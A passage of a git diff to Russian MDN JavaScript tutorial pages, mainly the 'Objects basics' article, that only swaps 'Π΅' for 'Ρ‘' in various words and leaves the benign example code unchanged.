- <li>Π”Π΅Ρ€ΠΆΠΈΡ‚Π΅ подсчСт количСства ΡˆΠ°Ρ€ΠΎΠ² Π½Π° экранС Π² Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ Ρ€ΠΎΠ΄Π΅.</li>
- <li>Π£Π²Π΅Π»ΠΈΡ‡ΡŒΡ‚Π΅ количСство ΠΈ ΠΏΠΎΠΊΠ°ΠΆΠΈΡ‚Π΅ ΠΎΠ±Π½ΠΎΠ²Π»Π΅Π½Π½ΠΎΠ΅ количСство ΡˆΠ°Ρ€ΠΎΠ² ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ Ρ€Π°Π·, ΠΊΠΎΠ³Π΄Π° ΡˆΠ°Ρ€ добавляСтся Π² сцСну.</li>
- <li>Π£ΠΌΠ΅Π½ΡŒΡˆΠΈΡ‚Π΅ счСт ΠΈ ΠΏΠΎΠΊΠ°ΠΆΠΈΡ‚Π΅ ΠΎΠ±Π½ΠΎΠ²Π»Π΅Π½Π½ΠΎΠ΅ количСство мячСй ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ Ρ€Π°Π·, ΠΊΠΎΠ³Π΄Π° Π·Π»ΠΎΠΉ ΠΊΡ€ΡƒΠ³ Сст ΡˆΠ°Ρ€ΠΈΠΊ (Π΅Π³ΠΎ Π½Π΅ сущСствуСт).</li>
+ <li>Π”Π΅Ρ€ΠΆΠΈΡ‚Π΅ подсчёт количСства ΡˆΠ°Ρ€ΠΎΠ² Π½Π° экранС Π² Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ Ρ€ΠΎΠ΄Π΅.</li>
+ <li>Π£Π²Π΅Π»ΠΈΡ‡ΡŒΡ‚Π΅ количСство ΠΈ ΠΏΠΎΠΊΠ°ΠΆΠΈΡ‚Π΅ ΠΎΠ±Π½ΠΎΠ²Π»Ρ‘Π½Π½ΠΎΠ΅ количСство ΡˆΠ°Ρ€ΠΎΠ² ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ Ρ€Π°Π·, ΠΊΠΎΠ³Π΄Π° ΡˆΠ°Ρ€ добавляСтся Π² сцСну.</li>
+ <li>Π£ΠΌΠ΅Π½ΡŒΡˆΠΈΡ‚Π΅ счёт ΠΈ ΠΏΠΎΠΊΠ°ΠΆΠΈΡ‚Π΅ ΠΎΠ±Π½ΠΎΠ²Π»Ρ‘Π½Π½ΠΎΠ΅ количСство мячСй ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ Ρ€Π°Π·, ΠΊΠΎΠ³Π΄Π° Π·Π»ΠΎΠΉ ΠΊΡ€ΡƒΠ³ Сст ΡˆΠ°Ρ€ΠΈΠΊ (Π΅Π³ΠΎ Π½Π΅ сущСствуСт).</li>
</ul>
</li>
</ol>
diff --git a/files/ru/learn/javascript/objects/basics/index.html b/files/ru/learn/javascript/objects/basics/index.html
index 7a95127d35..13ee54b7c3 100644
--- a/files/ru/learn/javascript/objects/basics/index.html
+++ b/files/ru/learn/javascript/objects/basics/index.html
@@ -68,7 +68,7 @@ person.greeting()</pre>
<p>Π’Π΅ΠΏΠ΅Ρ€ΡŒ Π²Π½ΡƒΡ‚Ρ€ΠΈ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° Π΅ΡΡ‚ΡŒ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π΄Π°Π½Π½Ρ‹Π΅ ΠΈ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π», ΠΈ Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ ΠΌΠΎΠΆΠ½ΠΎ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ доступ ΠΊ Π½ΠΈΠΌ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ Π»Ρ‘Π³ΠΊΠΎΠ³ΠΎ ΠΈ простого синтаксиса!</p>
<div class="note">
-<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: Если Ρƒ вас Π²ΠΎΠ·Π½ΠΈΠΊΠ»ΠΈ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹ с ΠΏΡ€ΠΈΠΌΠ΅Π½Π΅Π½ΠΈΠ΅ΠΌ Ρ„Π°ΠΉΠ»Π° Π² Ρ€Π°Π±ΠΎΡ‚Π΅, ΠΏΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ ΡΡ€Π°Π²Π½ΠΈΡ‚ΡŒ ваш ΠΊΠΎΠ΄ с нашСй вСрсиСй β€” см. <a href="https://github.com/mdn/learning-area/blob/master/javascript/oojs/introduction/oojs-finished.html">oojs-finished.html</a> (Ρ‚Π°ΠΊΠΆΠ΅ <a href="http://mdn.github.io/learning-area/javascript/oojs/introduction/oojs-finished.html">see it running live</a>). Одна ΠΈΠ· распространСнных ошибок, ΠΊΠΎΠ³Π΄Π° Π’Ρ‹ Π½Π°Ρ‡ΠΈΠ½Π°Π΅Ρ‚Π΅ с ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°ΠΌΠΈ ΡΡ‚Π°Π²ΠΈΡ‚ΡŒ Π·Π°ΠΏΡΡ‚ΡƒΡŽ Π² ΠΊΠΎΠ½Ρ†Π΅ послСднСго Ρ‡Π»Π΅Π½Π° β€” это ΠΏΡ€ΠΈΠ²ΠΎΠ΄ΠΈΡ‚ ΠΊ ошибкС.</p>
+<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: Если Ρƒ вас Π²ΠΎΠ·Π½ΠΈΠΊΠ»ΠΈ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹ с ΠΏΡ€ΠΈΠΌΠ΅Π½Π΅Π½ΠΈΠ΅ΠΌ Ρ„Π°ΠΉΠ»Π° Π² Ρ€Π°Π±ΠΎΡ‚Π΅, ΠΏΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ ΡΡ€Π°Π²Π½ΠΈΡ‚ΡŒ ваш ΠΊΠΎΠ΄ с нашСй вСрсиСй β€” см. <a href="https://github.com/mdn/learning-area/blob/master/javascript/oojs/introduction/oojs-finished.html">oojs-finished.html</a> (Ρ‚Π°ΠΊΠΆΠ΅ <a href="http://mdn.github.io/learning-area/javascript/oojs/introduction/oojs-finished.html">see it running live</a>). Одна ΠΈΠ· распространённых ошибок, ΠΊΠΎΠ³Π΄Π° Π’Ρ‹ Π½Π°Ρ‡ΠΈΠ½Π°Π΅Ρ‚Π΅ с ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°ΠΌΠΈ ΡΡ‚Π°Π²ΠΈΡ‚ΡŒ Π·Π°ΠΏΡΡ‚ΡƒΡŽ Π² ΠΊΠΎΠ½Ρ†Π΅ послСднСго Ρ‡Π»Π΅Π½Π° β€” это ΠΏΡ€ΠΈΠ²ΠΎΠ΄ΠΈΡ‚ ΠΊ ошибкС.</p>
</div>
<p>Π˜Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎ здСсь происходит? ΠžΠ±ΡŠΠ΅ΠΊΡ‚ состоит ΠΈΠ· Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… элСмСнтов, ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΈΠ· ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… ΠΈΠΌΠ΅Π΅Ρ‚ своё Π½Π°Π·Π²Π°Π½ΠΈΠ΅ (ΠΏΡ€ΠΈΠΌΠ΅Ρ€ <code>name</code> ΠΈ <code>age</code> Π²Ρ‹ΡˆΠ΅), ΠΈ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ (ΠΏΡ€ΠΈΠΌΠ΅Ρ€ <code>['Bob', 'Smith']</code> ΠΈ <code>32</code>). КаТдая ΠΏΠ°Ρ€Π° Π½Π°Π·Π²Π°Π½ΠΈΠ΅/Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π±Ρ‹Ρ‚ΡŒ Ρ€Π°Π·Π΄Π΅Π»Π΅Π½Ρ‹ запятой, Π° Π½Π°Π·Π²Π°Π½ΠΈΠ΅ ΠΈ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π² ΠΊΠ°ΠΆΠ΄ΠΎΠΌ случаС Ρ€Π°Π·Π΄Π΅Π»ΡΡŽΡ‚ΡΡ Π΄Π²ΠΎΠ΅Ρ‚ΠΎΡ‡ΠΈΠ΅ΠΌ. Бинтаксис всСгда слСдуСт этому ΠΎΠ±Ρ€Π°Π·Ρ†Ρƒ:</p>
@@ -87,13 +87,13 @@ person.greeting()</pre>
<h2 id="ВочСчная_запись_Dot_notation">ВочСчная запись (Dot notation)</h2>
-<p>Π’Ρ‹ΡˆΠ΅ Π’Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΠ»ΠΈ доступ ΠΊ свойствам ΠΈ ΠΌΠ΅Ρ‚ΠΎΠ΄Π°ΠΌ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡΒ <strong>Ρ‚ΠΎΡ‡Π΅Ρ‡Π½ΡƒΡŽ запись (dot notation).Β </strong>Имя ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° (person) дСйствуСт ΠΊΠ°ΠΊΒ <strong>пространство ΠΈΠΌΠ΅Π½ (namespace)Β </strong>β€” ΠΎΠ½ΠΎ Π΄ΠΎΠ»ΠΆΠ½ΠΎ Π±Ρ‹Ρ‚ΡŒ Π²Π²Π΅Π΄Π΅Π½ΠΎ ΠΏΠ΅Ρ€Π²Ρ‹ΠΌ, для Ρ‚ΠΎΠ³ΠΎ Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ доступ ΠΊΠΎ всСму Ρ‡Ρ‚ΠΎ Π·Π°ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΎ (<strong>encapsulated)</strong>Β Π²Π½ΡƒΡ‚Ρ€ΠΈ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°. Π”Π°Π»Π΅Π΅ Π’Ρ‹ ΠΏΠΈΡˆΠ΅Ρ‚Π΅ Ρ‚ΠΎΡ‡ΠΊΡƒ, Π·Π°Ρ‚Π΅ΠΌ элСмСнт, ΠΊ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌΡƒ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ доступ β€” это ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ имя простого свойства, элСмСнт массива, ΠΈΠ»ΠΈ Π²Ρ‹Π·ΠΎΠ² ΠΎΠ΄Π½ΠΎΠ³ΠΎ ΠΈΠ· ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ²Β ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€:</p>
+<p>Π’Ρ‹ΡˆΠ΅ Π’Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΠ»ΠΈ доступ ΠΊ свойствам ΠΈ ΠΌΠ΅Ρ‚ΠΎΠ΄Π°ΠΌ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡΒ <strong>Ρ‚ΠΎΡ‡Π΅Ρ‡Π½ΡƒΡŽ запись (dot notation).Β </strong>Имя ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° (person) дСйствуСт ΠΊΠ°ΠΊΒ <strong>пространство ΠΈΠΌΡ‘Π½ (namespace)Β </strong>β€” ΠΎΠ½ΠΎ Π΄ΠΎΠ»ΠΆΠ½ΠΎ Π±Ρ‹Ρ‚ΡŒ Π²Π²Π΅Π΄Π΅Π½ΠΎ ΠΏΠ΅Ρ€Π²Ρ‹ΠΌ, для Ρ‚ΠΎΠ³ΠΎ Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ доступ ΠΊΠΎ всСму Ρ‡Ρ‚ΠΎ Π·Π°ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΎ (<strong>encapsulated)</strong>Β Π²Π½ΡƒΡ‚Ρ€ΠΈ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°. Π”Π°Π»Π΅Π΅ Π’Ρ‹ ΠΏΠΈΡˆΠ΅Ρ‚Π΅ Ρ‚ΠΎΡ‡ΠΊΡƒ, Π·Π°Ρ‚Π΅ΠΌ элСмСнт, ΠΊ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌΡƒ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ доступ β€” это ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ имя простого свойства, элСмСнт массива, ΠΈΠ»ΠΈ Π²Ρ‹Π·ΠΎΠ² ΠΎΠ΄Π½ΠΎΠ³ΠΎ ΠΈΠ· ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ²Β ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€:</p>
<pre class="brush: js notranslate">person.age
person.interests[1]
person.bio()</pre>
-<h3 id="Π’Π½ΡƒΡ‚Ρ€Π΅Π½Π½ΠΈΠ΅_пространства_ΠΈΠΌΠ΅Π½_Sub-namespaces">Π’Π½ΡƒΡ‚Ρ€Π΅Π½Π½ΠΈΠ΅ пространства ΠΈΠΌΠ΅Π½ (Sub-namespaces)</h3>
+<h3 id="Π’Π½ΡƒΡ‚Ρ€Π΅Π½Π½ΠΈΠ΅_пространства_ΠΈΠΌΡ‘Π½_Sub-namespaces">Π’Π½ΡƒΡ‚Ρ€Π΅Π½Π½ΠΈΠ΅ пространства ΠΈΠΌΡ‘Π½ (Sub-namespaces)</h3>
<p>МоТно Π΄Π°ΠΆΠ΅ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ элСмСнта ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° Π΄Ρ€ΡƒΠ³ΠΎΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚. НапримСр, ΠΏΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ свойства name с Ρ‚Π°ΠΊΠΎΠ³ΠΎ</p>
@@ -106,7 +106,7 @@ person.bio()</pre>
last: 'Smith'
},</pre>
-<p>Π—Π΄Π΅ΡΡŒ ΠΌΡ‹ фактичСски создаСм <strong>Π²Π½ΡƒΡ‚Ρ€Π΅Π½Π½Π΅Π΅ пространство ΠΈΠΌΠ΅Π½ (sub-namespace).Β </strong>Π­Ρ‚ΠΎ Π·Π²ΡƒΡ‡ΠΈΡ‚ слоТно, Π½ΠΎ Π½Π° самом Π΄Π΅Π»Π΅ это Π½Π΅ Ρ‚Π°ΠΊΒ β€” для доступа ΠΊ этим элСмСнтам Π’Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ ΠΎΠ΄ΠΈΠ½ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ шаг с Π΅Ρ‰Π΅ ΠΎΠ΄Π½ΠΎΠΉ Ρ‚ΠΎΡ‡ΠΊΠΎΠΉ. ΠŸΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ Π² консоли браузСра ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π΅:Β </p>
+<p>Π—Π΄Π΅ΡΡŒ ΠΌΡ‹ фактичСски создаём <strong>Π²Π½ΡƒΡ‚Ρ€Π΅Π½Π½Π΅Π΅ пространство ΠΈΠΌΡ‘Π½ (sub-namespace).Β </strong>Π­Ρ‚ΠΎ Π·Π²ΡƒΡ‡ΠΈΡ‚ слоТно, Π½ΠΎ Π½Π° самом Π΄Π΅Π»Π΅ это Π½Π΅ Ρ‚Π°ΠΊΒ β€” для доступа ΠΊ этим элСмСнтам Π’Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ ΠΎΠ΄ΠΈΠ½ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ шаг с Π΅Ρ‰Ρ‘ ΠΎΠ΄Π½ΠΎΠΉ Ρ‚ΠΎΡ‡ΠΊΠΎΠΉ. ΠŸΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ Π² консоли браузСра ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π΅:Β </p>
<pre class="brush: js notranslate">person.name.first
person.name.last</pre>
@@ -159,7 +159,7 @@ person.farewell = function() { alert("Bye everybody!"); }</pre>
<pre class="brush: js notranslate">person['eyes']
person.farewell()</pre>
-<p>Одним ΠΈΠ· ΠΏΠΎΠ»Π΅Π·Π½Ρ‹Ρ… аспСктов скобочной записи являСтся Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ с Π΅Π΅ ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΌΠΎΠΆΠ½ΠΎ динамичСски Π·Π°Π΄Π°Π²Π°Ρ‚ΡŒ Π½Π΅ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ значСния элСмСнтов, Π½ΠΎ ΠΈ ΠΈΡ… ΠΈΠΌΠ΅Π½Π°. ΠŸΡ€Π΅Π΄ΠΏΠΎΠ»ΠΎΠΆΠΈΠΌ, Ρ‡Ρ‚ΠΎ ΠΌΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΠΈ ΠΌΠΎΠ³Π»ΠΈ Ρ…Ρ€Π°Π½ΠΈΡ‚ΡŒΒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠ΅ Ρ‚ΠΈΠΏΡ‹ Π΄Π°Π½Π½Ρ‹Ρ…, ввСдя имя ΠΈ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ элСмСнта Π² Π΄Π²Π° ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΡ… поля? ΠœΡ‹ ΠΌΠΎΠ³Π»ΠΈ Π±Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ эти значСния ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ:</p>
+<p>Одним ΠΈΠ· ΠΏΠΎΠ»Π΅Π·Π½Ρ‹Ρ… аспСктов скобочной записи являСтся Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ с Π΅Ρ‘ ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΌΠΎΠΆΠ½ΠΎ динамичСски Π·Π°Π΄Π°Π²Π°Ρ‚ΡŒ Π½Π΅ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ значСния элСмСнтов, Π½ΠΎ ΠΈ ΠΈΡ… ΠΈΠΌΠ΅Π½Π°. ΠŸΡ€Π΅Π΄ΠΏΠΎΠ»ΠΎΠΆΠΈΠΌ, Ρ‡Ρ‚ΠΎ ΠΌΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΠΈ ΠΌΠΎΠ³Π»ΠΈ Ρ…Ρ€Π°Π½ΠΈΡ‚ΡŒΒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠ΅ Ρ‚ΠΈΠΏΡ‹ Π΄Π°Π½Π½Ρ‹Ρ…, ввСдя имя ΠΈ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ элСмСнта Π² Π΄Π²Π° ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΡ… поля? ΠœΡ‹ ΠΌΠΎΠ³Π»ΠΈ Π±Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ эти значСния ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ:</p>
<pre class="brush: js notranslate">let myDataName = nameInput.value;
let myDataValue = nameValue.value;</pre>
@@ -188,9 +188,9 @@ person[myDataName] = myDataValue;</pre>
alert('Hi! I\'m ' + this.name.first + '.');
}</pre>
-<p>Π’Ρ‹, вСроятно, Π·Π°Π΄Π°Π΅Ρ‚Π΅ΡΡŒ вопросом, Ρ‡Ρ‚ΠΎ Ρ‚Π°ΠΊΠΎΠ΅ "this"? ΠšΠ»ΡŽΡ‡Π΅Π²ΠΎΠ΅ слово <code>this</code>, ссылаСтся Π½Π° Ρ‚Π΅ΠΊΡƒΡ‰ΠΈΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚, Π²Π½ΡƒΡ‚Ρ€ΠΈ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ ΠΏΠΈΡˆΠ΅Ρ‚ΡΡ ΠΊΠΎΠ΄Β β€” поэтому Π² нашСм случаС <code>this</code> Ρ€Π°Π²Π΅Π½ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΡƒΒ <code>person</code>. Но ΠΏΠΎΡ‡Π΅ΠΌΡƒ просто Π½Π΅ Π½Π°ΠΏΠΈΡΠ°Ρ‚ΡŒΒ <code>person</code>? Как Π’Ρ‹ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅ Π² ΡΡ‚Π°Ρ‚ΡŒΠ΅Β <a href="/en-US/docs/Learn/JavaScript/Objects/Object-oriented_JS">Object-oriented JavaScript for beginners</a>Β (ΠžΠ±ΡŠΠ΅ΠΊΡ‚Π½ΠΎ-ΠΎΡ€ΠΈΠ΅Π½Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹ΠΉ JavaScript для Π½Π°Ρ‡ΠΈΠ½Π°ΡŽΡ‰ΠΈΡ…), ΠΊΠΎΠ³Π΄Π° ΠΌΡ‹ Π½Π°Ρ‡ΠΈΠ½Π°Π΅ΠΌ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ конструкторы ΠΈ Ρ‚.Π΄.,Β <code>this</code>Β ΠΎΡ‡Π΅Π½ΡŒ ΠΏΠΎΠ»Π΅Π·Π΅Π½Β β€” ΠΎΠ½ всСгда Π±ΡƒΠ΄Π΅Ρ‚ Π³Π°Ρ€Π°Π½Ρ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ Π²Π΅Ρ€Π½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, ΠΊΠΎΠ³Π΄Π° контСкст элСмСнта измСняСтся (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Π΄Π²Π° Ρ€Π°Π·Π½Ρ‹Ρ… экзСмпляра ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°Β <code>person</code>Β ΠΌΠΎΠ³ΡƒΡ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ Ρ€Π°Π·Π½Ρ‹Π΅ ΠΈΠΌΠ΅Π½Π°, но захотят ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ своС собствСнноС имя ΠΏΡ€ΠΈ привСтствии.</p>
+<p>Π’Ρ‹, вСроятно, Π·Π°Π΄Π°Ρ‘Ρ‚Π΅ΡΡŒ вопросом, Ρ‡Ρ‚ΠΎ Ρ‚Π°ΠΊΠΎΠ΅ "this"? ΠšΠ»ΡŽΡ‡Π΅Π²ΠΎΠ΅ слово <code>this</code>, ссылаСтся Π½Π° Ρ‚Π΅ΠΊΡƒΡ‰ΠΈΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚, Π²Π½ΡƒΡ‚Ρ€ΠΈ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ ΠΏΠΈΡˆΠ΅Ρ‚ΡΡ ΠΊΠΎΠ΄Β β€” поэтому Π² нашСм случаС <code>this</code> Ρ€Π°Π²Π΅Π½ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΡƒΒ <code>person</code>. Но ΠΏΠΎΡ‡Π΅ΠΌΡƒ просто Π½Π΅ Π½Π°ΠΏΠΈΡΠ°Ρ‚ΡŒΒ <code>person</code>? Как Π’Ρ‹ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅ Π² ΡΡ‚Π°Ρ‚ΡŒΠ΅Β <a href="/en-US/docs/Learn/JavaScript/Objects/Object-oriented_JS">Object-oriented JavaScript for beginners</a>Β (ΠžΠ±ΡŠΠ΅ΠΊΡ‚Π½ΠΎ-ΠΎΡ€ΠΈΠ΅Π½Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹ΠΉ JavaScript для Π½Π°Ρ‡ΠΈΠ½Π°ΡŽΡ‰ΠΈΡ…), ΠΊΠΎΠ³Π΄Π° ΠΌΡ‹ Π½Π°Ρ‡ΠΈΠ½Π°Π΅ΠΌ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ конструкторы ΠΈ Ρ‚.Π΄.,Β <code>this</code>Β ΠΎΡ‡Π΅Π½ΡŒ ΠΏΠΎΠ»Π΅Π·Π΅Π½Β β€” ΠΎΠ½ всСгда Π±ΡƒΠ΄Π΅Ρ‚ Π³Π°Ρ€Π°Π½Ρ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ Π²Π΅Ρ€Π½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, ΠΊΠΎΠ³Π΄Π° контСкст элСмСнта измСняСтся (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Π΄Π²Π° Ρ€Π°Π·Π½Ρ‹Ρ… экзСмпляра ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°Β <code>person</code>Β ΠΌΠΎΠ³ΡƒΡ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ Ρ€Π°Π·Π½Ρ‹Π΅ ΠΈΠΌΠ΅Π½Π°, но захотят ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ своё собствСнноС имя ΠΏΡ€ΠΈ привСтствии.</p>
-<p>Π”Π°Π²Π°ΠΉΡ‚Π΅ ΠΏΡ€ΠΎΠΈΠ»Π»ΡŽΡΡ‚Ρ€ΠΈΡ€ΡƒΠ΅ΠΌ, Ρ‡Ρ‚ΠΎ ΠΌΡ‹ ΠΈΠΌΠ΅Π΅ΠΌ Π² Π²ΠΈΠ΄Ρƒ, с ΡƒΠΏΡ€ΠΎΡ‰Π΅Π½Π½ΠΎΠΉ ΠΏΠ°Ρ€ΠΎΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ²Β <code>person</code>Β :</p>
+<p>Π”Π°Π²Π°ΠΉΡ‚Π΅ ΠΏΡ€ΠΎΠΈΠ»Π»ΡŽΡΡ‚Ρ€ΠΈΡ€ΡƒΠ΅ΠΌ, Ρ‡Ρ‚ΠΎ ΠΌΡ‹ ΠΈΠΌΠ΅Π΅ΠΌ Π² Π²ΠΈΠ΄Ρƒ, с ΡƒΠΏΡ€ΠΎΡ‰Ρ‘Π½Π½ΠΎΠΉ ΠΏΠ°Ρ€ΠΎΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ²Β <code>person</code>Β :</p>
<pre class="brush: js notranslate">const person1 = {
name: 'Chris',
@@ -210,20 +210,20 @@ const person2 = {
<h2 id="ВсС_это_врСмя_Π²Ρ‹_использовали_ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹">ВсС это врСмя Π²Ρ‹ использовали ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹</h2>
